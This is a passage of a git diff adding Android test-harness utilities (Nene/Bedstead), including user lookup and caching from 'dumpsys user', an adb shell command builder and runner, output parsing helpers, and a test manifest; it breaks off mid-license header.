+    public UserReference system() {
+        return find(0);
+    }
+
+    /** Get a {@link UserReference} by {@code id}. */
+    public UserReference find(int id) {
+        return new UnresolvedUser(mTestApis, id);
+    }
+
+    /** Get a {@link UserReference} by {@code userHandle}. */
+    public UserReference find(UserHandle userHandle) {
+        return new UnresolvedUser(mTestApis, userHandle.getIdentifier());
+    }
+
+    @Nullable
+    User fetchUser(int id) {
+        // TODO(scottjonathan): fillCache probably does more than we need here -
+        //  can we make it more efficient?
+        fillCache();
+
+        return mCachedUsers.get(id);
+    }
+
+    /** Get all supported {@link UserType}s. */
+    public Set<UserType> supportedTypes() {
+        ensureSupportedTypesCacheFilled();
+        return mCachedUserTypeValues;
+    }
+
+    /** Get a {@link UserType} with the given {@code typeName}, or {@code null} */
+    public UserType supportedType(String typeName) {
+        ensureSupportedTypesCacheFilled();
+        return mCachedUserTypes.get(typeName);
+    }
+
+    /**
+     * Find all users which have the given {@link UserType}.
+     */
+    public Set<UserReference> findUsersOfType(UserType userType) {
+        if (userType == null) {
+            throw new NullPointerException();
+        }
+
+        if (userType.baseType().contains(UserType.BaseType.PROFILE)) {
+            throw new NeneException("Cannot use findUsersOfType with profile type " + userType);
+        }
+
+        return all().stream()
+                .filter(u -> u.type().equals(userType))
+                .collect(Collectors.toSet());
+    }
+
+    /**
+     * Find a single user which has the given {@link UserType}.
+     *
+     * <p>If there are no users of the given type, {@code Null} will be returned.
+     *
+     * <p>If there is more than one user of the given type, {@link NeneException} will be thrown.
+     */
+    @Nullable
+    public UserReference findUserOfType(UserType userType) {
+        Set<UserReference> users = findUsersOfType(userType);
+
+        if (users.isEmpty()) {
+            return null;
+        } else if (users.size() > 1) {
+            throw new NeneException("findUserOfType called but there is more than 1 user of type "
+                    + userType + ". Found: " + users);
+        }
+
+        return users.iterator().next();
+    }
+
+    /**
+     * Find all users which have the given {@link UserType} and the given parent.
+     */
+    public Set<UserReference> findProfilesOfType(UserType userType, UserReference parent) {
+        if (userType == null || parent == null) {
+            throw new NullPointerException();
+        }
+
+        if (!userType.baseType().contains(UserType.BaseType.PROFILE)) {
+            throw new NeneException("Cannot use findProfilesOfType with non-profile type "
+                    + userType);
+        }
+
+        return all().stream()
+                .filter(u -> parent.equals(u.parent())
+                        && u.type().equals(userType))
+                .collect(Collectors.toSet());
+    }
+
+    /**
+     * Find all users which have the given {@link UserType} and the given parent.
+     *
+     * <p>If there are no users of the given type and parent, {@code Null} will be returned.
+     *
+     * <p>If there is more than one user of the given type and parent, {@link NeneException} will
+     * be thrown.
+     */
+    @Nullable
+    public UserReference findProfileOfType(UserType userType, UserReference parent) {
+        Set<UserReference> profiles = findProfilesOfType(userType, parent);
+
+        if (profiles.isEmpty()) {
+            return null;
+        } else if (profiles.size() > 1) {
+            throw new NeneException("findProfileOfType called but there is more than 1 user of "
+                    + "type " + userType + " with parent " + parent + ". Found: " + profiles);
+        }
+
+        return profiles.iterator().next();
+    }
+
+    private void ensureSupportedTypesCacheFilled() {
+        if (mCachedUserTypes != null) {
+            // SupportedTypes don't change so don't need to be refreshed
+            return;
+        }
+        if (SDK_INT < Build.VERSION_CODES.R) {
+            mCachedUserTypes = new HashMap<>();
+            mCachedUserTypes.put(MANAGED_PROFILE_TYPE_NAME, managedProfileUserType());
+            mCachedUserTypes.put(SYSTEM_USER_TYPE_NAME, systemUserType());
+            mCachedUserTypes.put(SECONDARY_USER_TYPE_NAME, secondaryUserType());
+            mCachedUserTypeValues = new HashSet<>();
+            mCachedUserTypeValues.addAll(mCachedUserTypes.values());
+            return;
+        }
+
+        fillCache();
+    }
+
+    private UserType managedProfileUserType() {
+        UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
+        managedProfileMutableUserType.mName = MANAGED_PROFILE_TYPE_NAME;
+        managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.PROFILE);
+        managedProfileMutableUserType.mEnabled = true;
+        managedProfileMutableUserType.mMaxAllowed = -1;
+        managedProfileMutableUserType.mMaxAllowedPerParent = 1;
+        return new UserType(managedProfileMutableUserType);
+    }
+
+    private UserType systemUserType() {
+        UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
+        managedProfileMutableUserType.mName = SYSTEM_USER_TYPE_NAME;
+        managedProfileMutableUserType.mBaseType =
+                Set.of(UserType.BaseType.FULL, UserType.BaseType.SYSTEM);
+        managedProfileMutableUserType.mEnabled = true;
+        managedProfileMutableUserType.mMaxAllowed = -1;
+        managedProfileMutableUserType.mMaxAllowedPerParent = -1;
+        return new UserType(managedProfileMutableUserType);
+    }
+
+    private UserType secondaryUserType() {
+        UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
+        managedProfileMutableUserType.mName = SECONDARY_USER_TYPE_NAME;
+        managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+        managedProfileMutableUserType.mEnabled = true;
+        managedProfileMutableUserType.mMaxAllowed = -1;
+        managedProfileMutableUserType.mMaxAllowedPerParent = -1;
+        return new UserType(managedProfileMutableUserType);
+    }
+
+    /**
+     * Create a new user.
+     */
+    @CheckResult
+    public UserBuilder createUser() {
+        return new UserBuilder(mTestApis);
+    }
+
+    private void fillCache() {
+        try {
+            // TODO: Replace use of adb on supported versions of Android
+            String userDumpsysOutput = ShellCommand.builder("dumpsys user").execute();
+            AdbUserParser.ParseResult result = mParser.parse(userDumpsysOutput);
+
+            mCachedUsers = result.mUsers;
+            if (result.mUserTypes != null) {
+                mCachedUserTypes = result.mUserTypes;
+            } else {
+                ensureSupportedTypesCacheFilled();
+            }
+
+            Iterator<Map.Entry<Integer, User>> iterator = mCachedUsers.entrySet().iterator();
+
+            while (iterator.hasNext()) {
+                Map.Entry<Integer, User> entry = iterator.next();
+
+                if (entry.getValue().isRemoving()) {
+                    // We don't expose users who are currently being removed
+                    iterator.remove();
+                    continue;
+                }
+
+                User.MutableUser mutableUser = entry.getValue().mMutableUser;
+
+                if (SDK_INT < Build.VERSION_CODES.R) {
+                    if (entry.getValue().id() == SYSTEM_USER_ID) {
+                        mutableUser.mType = supportedType(SYSTEM_USER_TYPE_NAME);
+                        mutableUser.mIsPrimary = true;
+                    } else if (entry.getValue().hasFlag(User.FLAG_MANAGED_PROFILE)) {
+                        mutableUser.mType =
+                                supportedType(MANAGED_PROFILE_TYPE_NAME);
+                        mutableUser.mIsPrimary = false;
+                    } else {
+                        mutableUser.mType =
+                                supportedType(SECONDARY_USER_TYPE_NAME);
+                        mutableUser.mIsPrimary = false;
+                    }
+                }
+
+                if (SDK_INT < Build.VERSION_CODES.S) {
+                    if (mutableUser.mType.baseType()
+                            .contains(UserType.BaseType.PROFILE)) {
+                        // We assume that all profiles before S were on the System User
+                        mutableUser.mParent = find(SYSTEM_USER_ID);
+                    }
+                }
+            }
+
+            mCachedUserTypeValues = new HashSet<>();
+            mCachedUserTypeValues.addAll(mCachedUserTypes.values());
+
+        } catch (AdbException | AdbParseException e) {
+            throw new RuntimeException("Error filling cache", e);
+        }
+    }
+
+    /**
+     * Block until the user with the given {@code userReference} exists and is in the correct state.
+     *
+     * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
+     */
+    User waitForUserToMatch(UserReference userReference, Function<User, Boolean> userChecker) {
+        return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ true);
+    }
+
+    /**
+     * Block until the user with the given {@code userReference} to not exist or to be in the
+     * correct state.
+     *
+     * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
+     */
+    @Nullable
+    User waitForUserToNotExistOrMatch(
+            UserReference userReference, Function<User, Boolean> userChecker) {
+        return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ false);
+    }
+
+    @Nullable
+    private User waitForUserToMatch(
+            UserReference userReference, Function<User, Boolean> userChecker,
+            boolean waitForExist) {
+        // TODO(scottjonathan): This is pretty heavy because we resolve everything when we know we
+        //  are throwing away everything except one user. Optimise
+        try {
+            AtomicReference<User> returnUser = new AtomicReference<>();
+            PollingCheck.waitFor(WAIT_FOR_USER_TIMEOUT_MS, () -> {
+                User user = userReference.resolve();
+                returnUser.set(user);
+                if (user == null) {
+                    return !waitForExist;
+                }
+                return userChecker.apply(user);
+            });
+            return returnUser.get();
+        } catch (AssertionError e) {
+            User user = userReference.resolve();
+
+            if (user == null) {
+                throw new NeneException(
+                        "Timed out waiting for user state for user "
+                                + userReference + ". User does not exist.", e);
+            }
+            throw new NeneException(
+                    "Timed out waiting for user state, current state " + user, e
+            );
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java
new file mode 100644
index 0000000..717180a
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.content.IntentSender;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.util.UUID;
+
+/**
+ * Provider of a blocking version of {@link IntentSender}.
+ *
+ * <p>To use:
+ * {@code
+ *     try(BlockingIntentSender blockingIntentSender = BlockingIntentSender.create()) {
+ *          IntentSender intentSender = blockingIntentSender.intentSender();
+ *          // Use the intentSender for something
+ *     }
+ *     // we will block on the intent sender being used before exiting the try block, an exception
+ *     // will be thrown if it is not used
+ * }
+ */
+public class BlockingIntentSender implements AutoCloseable {
+
+    private static final String ACTION_PREFIX = "com.android.bedstead.intentsender.";
+
+    private final TestApis mTestApis = new TestApis();
+
+    /** Create and register a {@link BlockingIntentSender}. */
+    public static BlockingIntentSender create() {
+        BlockingIntentSender blockingIntentSender =
+                new BlockingIntentSender(
+                        ACTION_PREFIX + UUID.randomUUID().getLeastSignificantBits());
+        blockingIntentSender.register();
+
+        return blockingIntentSender;
+    }
+
+    private final String mAction;
+    private IntentSender mIntentSender;
+    private BlockingBroadcastReceiver mBlockingBroadcastReceiver;
+
+    private BlockingIntentSender(String action) {
+        mAction = action;
+    }
+
+    private void register() {
+        mBlockingBroadcastReceiver = BlockingBroadcastReceiver.create(
+                mTestApis.context().instrumentedContext(), mAction);
+        mBlockingBroadcastReceiver.register();
+
+        Intent intent = new Intent(mAction);
+        intent.setPackage(mTestApis.context().instrumentedContext().getPackageName());
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(
+                mTestApis.context().instrumentedContext(), 0, intent, /* flags= */ 0);
+        mIntentSender = pendingIntent.getIntentSender();
+    }
+
+    /** Wait for the {@link #intentSender()} to be used. */
+    public Intent await() {
+        return mBlockingBroadcastReceiver.awaitForBroadcast();
+    }
+
+    /** Get the intent sender. */
+    public IntentSender intentSender() {
+        return mIntentSender;
+    }
+
+    @Override
+    public void close() {
+        mBlockingBroadcastReceiver.close();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ParserUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ParserUtils.java
new file mode 100644
index 0000000..3704221
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ParserUtils.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Utilities for parsing adb output.
+ */
+public final class ParserUtils {
+    private ParserUtils() {
+
+    }
+
+    /**
+     * When passed a list of sections, which are organised using significant whitespace, split
+     * them into a separate string per section.
+     *
+     * <p>For example:
+     * {@code
+     * section1
+     *     a
+     *         alpha
+     *         beta
+     *     b
+     *     c
+     * section2
+     *     a2
+     *     b2
+     * }
+     *
+     * <p>Using {@link #extractIndentedSections(String, int)} with this string, and a
+     * {@code baseIndentation} of 0 (because there are no spaces before the "section" headings)
+     * would return two strings, one from "section1" to "c" and one from "section2" to "b2".
+     */
+    public static Set<String> extractIndentedSections(String list, int baseIndentation)
+            throws AdbParseException {
+        try {
+            Set<String> sections = new HashSet<>();
+            String[] lines = list.split("\n");
+
+            boolean skippingStart = true; // Skip empty lines at the start
+            StringBuilder sectionBuilder = null;
+            for (String line : lines) {
+                if (skippingStart && line.isEmpty()) {
+                    continue;
+                }
+                skippingStart = false;
+                int indentation = countIndentation(line);
+                if (indentation == baseIndentation) {
+                    // New item
+                    if (sectionBuilder != null) {
+                        sections.add(sectionBuilder.toString().trim());
+                    }
+                    sectionBuilder = new StringBuilder(line).append("\n");
+                } else {
+                    sectionBuilder.append(line).append("\n");
+                }
+            }
+            sections.add(sectionBuilder.toString().trim());
+            return sections;
+        } catch (NullPointerException e) {
+            throw new AdbParseException(
+                    "Error extracting indented sections with baseIndentation: " + baseIndentation,
+                    list, e);
+        }
+    }
+
+    private static int countIndentation(String s) {
+        String trimmed = s.trim();
+        if (trimmed.isEmpty()) {
+            return s.length();
+        }
+        return s.indexOf(trimmed);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
new file mode 100644
index 0000000..0bada6b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import androidx.annotation.CheckResult;
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.function.Function;
+
+/**
+ * A tool for progressively building and then executing a shell command.
+ */
+public final class ShellCommand {
+
+    // 10 seconds
+    private static final int MAX_WAIT_UNTIL_ATTEMPTS = 100;
+    private static final long WAIT_UNTIL_DELAY_MILLIS = 100;
+
+    /**
+     * Begin building a new {@link ShellCommand}.
+     */
+    @CheckResult
+    public static Builder builder(String command) {
+        if (command == null) {
+            throw new NullPointerException();
+        }
+        return new Builder(command);
+    }
+
+    /**
+     * Create a builder and if {@code userReference} is not {@code null}, add "--user <userId>".
+     */
+    @CheckResult
+    public static Builder builderForUser(@Nullable UserReference userReference, String command) {
+        Builder builder = builder(command);
+        if (userReference != null) {
+            builder.addOption("--user", userReference.id());
+        }
+
+        return builder;
+    }
+
+    public static final class Builder {
+        private final StringBuilder commandBuilder;
+        @Nullable
+        private byte[] mStdInBytes = null;
+        @Nullable
+        private boolean mAllowEmptyOutput = false;
+        @Nullable
+        private Function<String, Boolean> mOutputSuccessChecker = null;
+
+        private Builder(String command) {
+            commandBuilder = new StringBuilder(command);
+        }
+
+        /**
+         * Add an option to the command.
+         *
+         * <p>e.g. --user 10
+         */
+        @CheckResult
+        public Builder addOption(String key, Object value) {
+            // TODO: Deal with spaces/etc.
+            commandBuilder.append(" ").append(key).append(" ").append(value);
+            return this;
+        }
+
+        /**
+         * Add an operand to the command.
+         */
+        @CheckResult
+        public Builder addOperand(Object value) {
+            // TODO: Deal with spaces/etc.
+            commandBuilder.append(" ").append(value);
+            return this;
+        }
+
+        /**
+         * If {@code false} an error will be thrown if the command has no output.
+         *
+         * <p>Defaults to {@code false}
+         */
+        @CheckResult
+        public Builder allowEmptyOutput(boolean allowEmptyOutput) {
+            mAllowEmptyOutput = allowEmptyOutput;
+            return this;
+        }
+
+        /**
+         * Write the given {@code stdIn} to standard in.
+         */
+        public Builder writeToStdIn(byte[] stdIn) {
+            mStdInBytes = stdIn;
+            return this;
+        }
+
+        /**
+         * Validate the output when executing.
+         *
+         * <p>{@code outputSuccessChecker} should return {@code true} if the output is valid.
+         */
+        public Builder validate(Function<String, Boolean> outputSuccessChecker) {
+            mOutputSuccessChecker = outputSuccessChecker;
+            return this;
+        }
+
+        /**
+         * Build the full command including all options and operands.
+         */
+        public String build() {
+            return commandBuilder.toString();
+        }
+
+        /** See {@link ShellCommandUtils#executeCommand(java.lang.String)}. */
+        public String execute() throws AdbException {
+            if (mOutputSuccessChecker != null) {
+                return ShellCommandUtils.executeCommandAndValidateOutput(
+                        commandBuilder.toString(),
+                        /* allowEmptyOutput= */ mAllowEmptyOutput,
+                        mStdInBytes,
+                        mOutputSuccessChecker);
+            }
+
+            return ShellCommandUtils.executeCommand(
+                    commandBuilder.toString(),
+                    /* allowEmptyOutput= */ mAllowEmptyOutput,
+                    mStdInBytes);
+        }
+
+        /**
+         * See {@link #execute} and then extract information from the output using
+         * {@code outputParser}.
+         *
+         * <p>If any {@link Exception} is thrown by {@code outputParser}, and {@link AdbException}
+         * will be thrown.
+         */
+        public <E> E executeAndParseOutput(Function<String, E> outputParser) throws AdbException {
+            String output = execute();
+
+            try {
+                return outputParser.apply(output);
+            } catch (RuntimeException e) {
+                throw new AdbException(
+                        "Could not parse output", commandBuilder.toString(), output, e);
+            }
+        }
+
+        /**
+         * Execute the command and check that the output meets a given criteria. Run the
+         * command repeatedly until the output meets the criteria.
+         *
+         * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
+         * command executed successfully.
+         */
+        public String executeUntilValid() throws InterruptedException, AdbException {
+            int attempts = 0;
+            while (attempts++ < MAX_WAIT_UNTIL_ATTEMPTS) {
+                try {
+                    return execute();
+                } catch (AdbException e) {
+                    // ignore, will retry
+                    Thread.sleep(WAIT_UNTIL_DELAY_MILLIS);
+                }
+            }
+            return execute();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
new file mode 100644
index 0000000..9995e3d
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION_CODES.S;
+
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.function.Function;
+
+/**
+ * Utilities for interacting with adb shell commands.
+ */
+public final class ShellCommandUtils {
+
+    private static final String LOG_TAG = ShellCommandUtils.class.getName();
+
+    private static final int OUT_DESCRIPTOR_INDEX = 0;
+    private static final int IN_DESCRIPTOR_INDEX = 1;
+    private static final int ERR_DESCRIPTOR_INDEX = 2;
+
+    private ShellCommandUtils() { }
+
+    /**
+     * Execute an adb shell command.
+     *
+     * <p>When running on S and above, any failures in executing the command will result in an
+     * {@link AdbException} being thrown. On earlier versions of Android, an {@link AdbException}
+     * will be thrown when the command returns no output (indicating that there is an error on
+     * stderr which cannot be read by this method) but some failures will return seemingly correctly
+     * but with an error in the returned string.
+     *
+     * <p>Callers should be careful to check the command's output is valid.
+     */
+    static String executeCommand(String command) throws AdbException {
+        return executeCommand(command, /* allowEmptyOutput=*/ false, /* stdInBytes= */ null);
+    }
+
+    static String executeCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes)
+            throws AdbException {
+        logCommand(command, allowEmptyOutput, stdInBytes);
+
+        if (!Versions.isRunningOn(S, "S")) {
+            return executeCommandPreS(command, allowEmptyOutput, stdInBytes);
+        }
+
+        // TODO(scottjonathan): Add argument to force errors to stderr
+        try {
+
+            ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRwe(command);
+            ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdErr = fds[ERR_DESCRIPTOR_INDEX];
+
+            writeStdInAndClose(fdIn, stdInBytes);
+
+            String out = readStreamAndClose(fdOut);
+            String err = readStreamAndClose(fdErr);
+
+            if (!err.isEmpty()) {
+                throw new AdbException("Error executing command", command, out, err);
+            }
+
+            Log.d(LOG_TAG, "Command result: " + out);
+
+            return out;
+        } catch (IOException e) {
+            throw new AdbException("Error executing command", command, e);
+        }
+    }
+
+    private static void logCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes) {
+        StringBuilder logBuilder = new StringBuilder("Executing shell command ");
+        logBuilder.append(command);
+        if (allowEmptyOutput) {
+            logBuilder.append(" (allow empty output)");
+        }
+        if (stdInBytes != null) {
+            logBuilder.append(" (writing to stdIn)");
+        }
+        Log.d(LOG_TAG, logBuilder.toString());
+    }
+
+    /**
+     * Execute an adb shell command and check that the output meets a given criteria.
+     *
+     * <p>On S and above, any output printed to standard error will result in an exception and the
+     * {@code outputSuccessChecker} not being called. Empty output will still be processed.
+     *
+     * <p>Prior to S, if there is no output on standard out, regardless of if there is output on
+     * standard error, {@code outputSuccessChecker} will not be called.
+     *
+     * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
+     * command executed successfully.
+     */
+    static String executeCommandAndValidateOutput(
+            String command, Function<String, Boolean> outputSuccessChecker) throws AdbException {
+        return executeCommandAndValidateOutput(command,
+                /* allowEmptyOutput= */ false,
+                /* stdInBytes= */ null,
+                outputSuccessChecker);
+    }
+
+    static String executeCommandAndValidateOutput(
+            String command,
+            boolean allowEmptyOutput,
+            byte[] stdInBytes,
+            Function<String, Boolean> outputSuccessChecker) throws AdbException {
+        String output = executeCommand(command, allowEmptyOutput, stdInBytes);
+        if (!outputSuccessChecker.apply(output)) {
+            throw new AdbException("Command did not meet success criteria", command, output);
+        }
+        return output;
+    }
+
+    /**
+     * Return {@code true} if {@code output} starts with "success", case insensitive.
+     */
+    public static boolean startsWithSuccess(String output) {
+        return output.toUpperCase().startsWith("SUCCESS");
+    }
+
+    /**
+     * Return {@code true} if {@code output} does not start with "error", case insensitive.
+     */
+    public static boolean doesNotStartWithError(String output) {
+        return !output.toUpperCase().startsWith("ERROR");
+    }
+
+    private static String executeCommandPreS(
+            String command, boolean allowEmptyOutput, byte[] stdInBytes) throws AdbException {
+        ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);
+        ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+        ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+
+        try {
+            writeStdInAndClose(fdIn, stdInBytes);
+
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
+                String out = new String(FileUtils.readInputStreamFully(fis));
+
+                if (!allowEmptyOutput && out.isEmpty()) {
+                    throw new AdbException(
+                            "No output from command. There's likely an error on stderr",
+                            command, out);
+                }
+
+                Log.d(LOG_TAG, "Command result: " + out);
+
+                return out;
+            }
+        } catch (IOException e) {
+            throw new AdbException(
+                    "Error reading command output", command, e);
+        }
+    }
+
+    private static void writeStdInAndClose(ParcelFileDescriptor fdIn, byte[] stdInBytes)
+            throws IOException {
+        if (stdInBytes != null) {
+            try (FileOutputStream fos = new ParcelFileDescriptor.AutoCloseOutputStream(fdIn)) {
+                fos.write(stdInBytes);
+            }
+        } else {
+            fdIn.close();
+        }
+    }
+
+    private static String readStreamAndClose(ParcelFileDescriptor fd) throws IOException {
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fd)) {
+            return new String(FileUtils.readInputStreamFully(fis));
+        }
+    }
+
+    /**
+     * Get a {@link UiAutomation}.
+     */
+    public static UiAutomation uiAutomation() {
+        return InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
new file mode 100644
index 0000000..bc33792
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import android.os.Build;
+
+/** Version constants used when VERSION_CODES is not final. */
+public final class Versions {
+    // TODO(scottjonathan): Replace once S version is final
+    public static final int S = 31;
+
+    private Versions() {
+
+    }
+
+    /** Require that this is running on Android S or above. */
+    public static void requireS() {
+        if (!isRunningOn(S, "S")) {
+            throw new UnsupportedOperationException(
+                    "keepUninstalledPackages is only available on S+ (currently "
+                            + Build.VERSION.CODENAME + ")");
+        }
+    }
+
+    /** True if the app is running on the given Android version or above. */
+    public static boolean isRunningOn(int version, String codename) {
+        return (SDK_INT >= version || Build.VERSION.CODENAME.equals(codename));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/AndroidManifest.xml b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..1b0515f
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.nene.test">
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+
+    <application
+        android:label="Nene Tests"
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.bedstead.nene.test.Activity" android:exported="false"/>
+
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.nene.test"
+                     android:label="Nene Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
new file mode 100644
index 0000000..db10699
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
